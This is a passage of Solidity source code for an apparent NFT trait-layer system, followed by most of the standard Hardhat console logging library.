(traitIndex == 11) { return "Astronaut"; } else if (traitIndex == 12) { return "Cowboy"; } } function _getLayer( uint256 traitIndex, uint256, string memory prefix ) internal view override returns (string memory layer) { if (traitIndex == 0) { return ""; } else if (traitIndex == 1) { return _layer(prefix, "SHORT_BLACK"); } else if (traitIndex == 2) { return _layer(prefix, "LONG_BLACK"); } else if (traitIndex == 3) { return _layer(prefix, "SHORT_BLUE"); } else if (traitIndex == 4) { return _layer(prefix, "LONG_BLUE"); } else if (traitIndex == 5) { return _layer(prefix, "POLICE"); } else if (traitIndex == 6) { return _layer(prefix, "SUIT"); } else if (traitIndex == 7) { return _layer(prefix, "LUMBERJACK"); } else if (traitIndex == 8) { return _layer(prefix, "KNIGHT"); } else if (traitIndex == 9) { return _layer(prefix, "SHORT_FANCY"); } else if (traitIndex == 10) { return _layer(prefix, "LONG_FANCY"); } else if (traitIndex == 11) { return _layer(prefix, "ASTRONAUT"); } else if (traitIndex == 12) { return _layer(prefix, "COWBOY"); } } } //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; import "./ITrait.sol"; abstract contract Trait is ITrait { bool internal _frontArmorTraitsExists = false; uint256[] internal _tiers; /* READ FUNCTIONS */ function getSkinLayer(uint256 traitIndex, uint256 layerIndex) public view virtual override returns (string memory layer) { return _getLayer(traitIndex, layerIndex, ""); } function getFrontLayer(uint256 traitIndex, uint256 layerIndex) external view virtual override returns (string memory frontLayer) { return _getLayer(traitIndex, layerIndex, "FRONT_"); } function getFrontArmorLayer(uint256 traitIndex, uint256 layerIndex) external view virtual override returns (string memory frontArmorLayer) { return _getLayer(traitIndex, layerIndex, "FRONT_ARMOR_"); } function sampleTraitIndex(uint256 rand) external view virtual override returns (uint256 index) { rand = rand % 10000; for (uint256 i = 0; i < _tiers.length; i++) { if (rand < _tiers[i]) { return i; } } } function _layer(string memory prefix, string memory name) internal view virtual returns (string memory trait) { bytes memory sig = abi.encodeWithSignature( string(abi.encodePacked(prefix, name, "()")), "" ); (bool success, bytes memory data) = address(this).staticcall(sig); return success ? abi.decode(data, (string)) : ""; } function _indexedLayer( uint256 layerIndex, string memory prefix, string memory name ) internal view virtual returns (string memory layer) { return _layer( string(abi.encodePacked(prefix, _getLayerPrefix(layerIndex))), name ); } function _getLayerPrefix(uint256) internal view virtual returns (string memory prefix) { return ""; } /* PURE VIRTUAL FUNCTIONS */ function _getLayer( uint256 traitIndex, uint256 layerIndex, string memory prefix ) internal view virtual returns (string memory layer); /* MODIFIERS */ } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } 